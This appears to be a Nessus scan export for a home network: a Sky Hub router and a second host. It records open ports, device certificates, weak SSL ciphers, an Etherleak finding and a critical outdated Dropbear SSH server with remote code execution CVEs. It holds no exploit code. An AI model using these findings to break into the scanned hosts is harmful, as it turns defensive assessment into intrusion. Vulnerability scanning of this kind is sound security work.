		10386						None		192.168.0.1		tcp		8889		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				

CGI scanning will be disabled for this host because the host responds
to requests for non-existent URLs with HTTP code 302
rather than 404. The requested URL was : 

    http://SkyRouter.Home:8889/rWar5Bek2ELz.html
										None								4/28/00		6/12/20

		10386						None		192.168.0.1		tcp		8890		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				

CGI scanning will be disabled for this host because the host responds
to requests for non-existent URLs with HTTP code 302
rather than 404. The requested URL was : 

    https://SkyRouter.Home:8890/rWar5Bek2ELz.html
										None								4/28/00		6/12/20

		10863						None		192.168.0.1		tcp		4567		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: US
Organization: Circle Media Inc
Common Name: localhost

Issuer Name: 

Country: US
Organization: Circle Media Inc
Common Name: localhost

Serial Number: 3C E5 6E 7F 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Apr 16 04:44:57 2019 GMT
Not Valid After: Apr 11 04:44:57 2039 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 C4 0A 0D EE 51 19 DB 69 E6 FC 2A DB A6 1E A7 7C 5A 56 35 
            62 0D 7C 97 D3 87 38 FF 46 12 A8 25 FA BE 2C B1 8A D7 4D 81 
            97 1F 2E 1F AD 7B 50 AF CC 2A 50 9B 57 F3 BF 54 7B DE 1B 4B 
            96 76 DC AE 86 A1 48 44 B6 EC D6 0F 73 3E 9D B1 5F 8C 49 AB 
            F5 3B 30 70 44 E3 CD 05 A2 00 80 2D CB 99 51 47 84 43 3B 1D 
            C7 A9 E5 AA 73 28 A8 9C BD B5 24 3D A9 55 56 40 27 1C BD CF 
            4D EA 44 24 5F EA B7 5A 22 C5 4E 4E FD C4 1C DB 8B 31 98 E4 
            49 A7 5D AC AC A7 2B 65 97 0A 27 D7 3F 24 7D 4C 3B 73 0B A5 
            EE 04 4B 09 76 A6 85 3A FD ED 4A 21 BD D7 CB D2 EA 9B 6E 4F 
            3F 25 A9 EF 42 D5 6F C2 C1 47 C8 3E 22 15 E1 86 92 F4 10 FF 
            8F 2E F8 66 B1 2E 9F CE 11 D3 7E 19 A9 A2 46 1C 90 5F 79 21 
            F8 98 7C 69 08 ED F2 41 A5 32 FD 8B 65 24 9F CB C2 BC DC 70 
            F3 84 48 71 DD 43 E5 38 A8 75 CB 85 15 89 87 15 31 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 06 BF C2 E5 06 B9 36 CB CB E5 53 F0 91 2F F9 E9 3F C7 1D 
           C4 B0 53 95 14 6E 43 0C 0A 27 95 3C BC 1F 50 BE D4 4F 5A A5 
           5F BA 39 12 C0 69 A9 4F 2A 27 5E E2 FE E8 04 41 39 A3 6B 8B 
           18 A7 CD 14 6B FD 70 5B 10 53 35 9C C8 63 F6 AA 4F 7C 54 19 
           6C 74 E5 AF D0 23 1F F3 66 27 50 0B B9 74 57 D9 76 A6 C8 EF 
           89 01 86 7A 23 48 05 06 84 7E 09 D7 3B 1D CB EB E0 8A EE AD 
           10 CC DE EA CB 82 4B 79 8C 3D EC D0 27 EC EC 60 33 7F 41 DA 
           D7 35 E9 AD 47 C2 20 DC 45 21 BD 0F 3A B2 55 40 A0 AC 76 F1 
           BD BB 5C 92 ED 07 89 87 66 8B EA F4 D7 7A 8C 79 32 3A 6B 13 
           0D 92 22 55 C3 41 94 12 05 E4 79 4F DF 9D F2 3C A8 80 26 3A 
           02 FB 93 F6 2C 14 EE 88 62 1F A7 59 41 30 75 89 78 86 50 C0 
           F2 6A 53 23 0E 84 54 B9 DC 12 CA C2 8C B6 C6 1E EE 86 77 A6 
           B4 53 93 47 F5 06 8A DD F1 03 71 13 85 9A 40 32 CA 

Extension: Basic Constraints (2.5.29.19)
Critical: 0


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Digital Signature, Key Encipherment


Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: 1.3.6.1.5.5.8.2.2
Purpose#2: Web Server Authentication (1.3.6.1.5.5.7.3.1)
Purpose#3: Web Client Authentication (1.3.6.1.5.5.7.3.2)


Extension: Subject Alternative Name (2.5.29.17)
Critical: 0
DNS: meetcircle.local


Fingerprints : 

SHA-256 Fingerprint: 4E 9F EB 2A 8B 88 D4 7C 18 FD 43 B4 30 86 D0 FC 5B F1 B7 4E 
                     C3 0E 40 C3 0D 99 75 1E AC 5D 57 12 
SHA-1 Fingerprint: E9 4D DF 54 A9 4B EC E0 14 49 2F 6D 60 7F AF C5 20 0A 3B 47 
MD5 Fingerprint: 20 4F 6F 93 FC 12 7C D8 9C 27 49 60 1E 01 44 07 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		10863						None		192.168.0.1		tcp		8890		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: US
Organization: Circle Media Inc.
Common Name: Circle002

Issuer Name: 

Country: US
Organization: Circle Media Inc
Common Name: Circle Root CA 1

Serial Number: 02 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Sep 08 21:42:16 2016 GMT
Not Valid After: Sep 03 21:42:16 2036 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 BB 38 F5 78 02 3B CF 53 A2 55 69 8A DC F3 91 B9 72 09 E1 
            E1 91 C0 66 9F 3A 0A CF 66 24 87 33 E3 4A 20 D1 3F A5 BA 05 
            B3 30 61 CF 14 40 60 84 B4 E9 E2 6E 3E B3 69 BA CB 47 E8 8B 
            B6 DC 8D 72 F1 CD D0 50 9C 20 BC BD 58 27 68 70 BE 80 33 93 
            A3 B0 13 8D D7 C6 47 5D B8 42 40 D4 0E 1D 62 F1 F9 9E A3 2C 
            13 11 A1 56 1B 0B FF CD D2 CB 06 FB 6D AC 7F 4C 65 85 F6 B1 
            A3 B7 30 07 E4 6E 88 E1 60 00 6B 28 DD E3 A8 1E 5B E2 A6 55 
            A2 49 86 B7 E9 E4 03 9E 85 44 2F 40 8A D4 EB FE 40 D0 7F 86 
            50 96 84 1D DC AB 24 81 AF 01 7D 92 AF B2 30 D8 C2 E2 D0 89 
            60 FC EB 77 6A F9 86 65 B9 9E A9 03 88 72 89 E5 71 AE E0 E2 
            7E D6 30 3B 72 D3 B1 AA D6 18 77 67 AD F6 BD 12 62 8C 9F 69 
            0D 6B 1D DF 50 0D 8D 1F 73 A0 C6 88 E4 78 B4 61 2E 5E E4 AD 
            89 74 8F 3A 67 94 10 84 B1 51 16 DE BF FF 7F 8D 0B 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 85 90 7A 97 C2 C1 97 A2 FD D8 9B 47 15 39 02 53 CC 33 29 
           1C 1F 1E 9C C9 83 73 B6 DB 7A 74 27 3B D0 5E DF 68 41 0A 9C 
           6C D2 C2 EB FE E9 A2 47 2E E6 14 8F ED F4 09 2E C0 9C F1 61 
           5F 2D 47 A5 6C 38 E9 A2 CE 19 37 B6 D5 A8 68 4D 66 17 88 46 
           21 62 47 5D 91 9A F8 DC 28 CB 52 6F 4D 92 6E A9 F9 4B B5 98 
           78 5B 6E DB 19 E8 94 3B B9 D8 7A 1E 00 C4 B9 C2 37 10 A1 C0 
           FE F4 55 56 61 68 CB 73 FA 21 6C 5F DA 50 CB 40 03 26 B5 A4 
           23 3E 52 A7 11 7A F3 20 38 EF 76 CD 19 A6 D6 47 8F BA 38 F9 
           E5 42 C7 A5 DA 04 DA E3 78 3C 92 11 E4 CE 55 EC 01 7B 9C A7 
           96 A4 FC 54 9E C9 5F 26 D6 D4 3C F0 88 11 D4 A1 0C 19 40 88 
           44 E2 5B 94 EB 2E 7F A7 71 3A E9 DF FC 42 9F 1F AD 8F 3F F9 
           FF 8A 21 B4 7D 1B 2E F2 CA 8A 91 D1 DF 04 05 3D 5D C5 65 8B 
           57 23 CC B2 A5 AC 3C 65 33 DF 43 55 B5 D6 2B 00 AF 

Extension: Basic Constraints (2.5.29.19)
Critical: 0


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Digital Signature, Key Encipherment


Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: 1.3.6.1.5.5.8.2.2
Purpose#2: Web Server Authentication (1.3.6.1.5.5.7.3.1)
Purpose#3: Web Client Authentication (1.3.6.1.5.5.7.3.2)


Extension: Subject Alternative Name (2.5.29.17)
Critical: 0
DNS: meetcircle.local


Extension: Subject Key Identifier (2.5.29.14)
Critical: 0
Subject Key Identifier: C7 8D 6B 06 1F 02 44 29 CD 1B 9E 7A 7B 59 EA D9 C1 AE 16 89 


Extension: Authority Key Identifier (2.5.29.35)
Critical: 0
Key Identifier: 88 52 01 5F DC D5 26 ED AF AB 7E 9A 92 23 90 5D 9F 6C 0D C9 


Fingerprints : 

SHA-256 Fingerprint: F2 C3 0C 0C 9C 21 F8 E7 4A A5 8A F6 E7 A9 52 13 DA 6E D5 A3 
                     20 EB 13 7D 68 77 0A 29 2F F2 C4 C9 
SHA-1 Fingerprint: 04 C0 C7 54 B9 11 8E 4F 54 9D CB 7D 38 09 DC 06 AC E3 69 86 
MD5 Fingerprint: 7D DF 22 B9 FD CA 96 58 4A D5 9A D7 A2 E0 43 1A 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11002						None		192.168.0.1		tcp		53		DNS Server Detection		A DNS server is listening on the remote host.		The remote service is a Domain Name System (DNS) server, which
provides a mapping between hostnames and IP addresses.		Disable this service if it is not needed or restrict access to
internal hosts only if the service is available externally.		https://en.wikipedia.org/wiki/Domain_Name_System												None								2/13/03		5/16/17

		11002						None		192.168.0.1		udp		53		DNS Server Detection		A DNS server is listening on the remote host.		The remote service is a Domain Name System (DNS) server, which
provides a mapping between hostnames and IP addresses.		Disable this service if it is not needed or restrict access to
internal hosts only if the service is available externally.		https://en.wikipedia.org/wiki/Domain_Name_System												None								2/13/03		5/16/17

		11026						None		192.168.0.1		tcp		0		Wireless Access Point Detection		The remote host is a wireless access point.		Nessus has determined that the remote host is a wireless access point
(AP).

Ensure that proper physical and logical controls are in place for its
use. A misconfigured access point may allow an attacker to gain access
to an internal network without being physically present on the
premises. If the access point is using an 'off-the-shelf'
configuration (such as 40 or 104 bit WEP encryption), the data being
passed through the access point may be vulnerable to hijacking or
sniffing.		n/a				
Nessus has determined that this device is an access point based on a
phrase found on the server's default web page. That is, Nessus
maintains a list of commonly-used technical phrases which can be
associated with wireless technologies. When Nessus encounters these
phrases during a scan, a determination is made regarding the nature of
the device. In this case, Nessus has determined that the device may
be running a wireless device with an administrative interface enabled. 
This is a very common configuration for Access Points. The exact
phrases which Nessus flagged on were :

  - Wireless
  - Access Point
  - WPA
  - SSID
										None								6/9/02		6/12/20

		11153						None		192.168.0.1		tcp		4545		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				AIX Global ODM (a component from HACMP) is running on this port.										None								11/18/02		11/26/18

		11197		CVE-2003-0001		3.3		Low		192.168.0.1		icmp		0		Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)		The remote host appears to leak memory in network packets.		The remote host uses a network device driver that pads ethernet frames
with data which vary from one packet to another, likely taken from
kernel memory, system memory allocated to the device driver, or a
hardware buffer on its network interface card.

Known as 'Etherleak', this information disclosure vulnerability may
allow an attacker to collect sensitive information from the affected
host provided he is on the same physical subnet as that host.		Contact the network device driver's vendor for a fix.		http://www.nessus.org/u?719c90b4		
Padding observed in one frame :

  0x00:  47 ED 1C CF 98 03 56 CA 5F 03 56 DA B7 00 00 0A    G.....V._.V.....
  0x10:  17                                                 .               
  
Padding observed in another frame :

  0x00:  30 14 01 00 00 0F AC 04 01 00 00 0F AC 04 01 00    0...............
  0x10:  00                                                 .
						2.6				Low		6535						1/14/03		3/6/19

		11219						None		192.168.0.1		tcp		53		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 53/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		4444		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4444/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		4545		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4545/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		4567		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4567/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		5300		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5300/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		5431		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5431/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		8889		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8889/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		8890		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8890/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		31337		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 31337/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.1		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Sky Hub SR102 1.0
Confidence level : 80
Method : UPnP

 
The remote host is running Sky Hub SR102 1.0										None								12/9/03		3/9/20

		12053						None		192.168.0.1		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.1 resolves as SkyRouter.Home.
										None								2/11/04		4/14/17

		93650		CVE-2016-7406		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		19506						None		192.168.0.1		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 1452 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.1		tcp		4567		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv12
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-GCM(256)           SHA384
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256


SSL Version : TLSv11
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1


SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		21643						None		192.168.0.1		tcp		8890		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv12
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-GCM(256)           SHA384
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256


SSL Version : TLSv11
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1


SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.1		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		4444		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		4567		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		4567		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		5300		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		8889		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		8890		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		8890		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

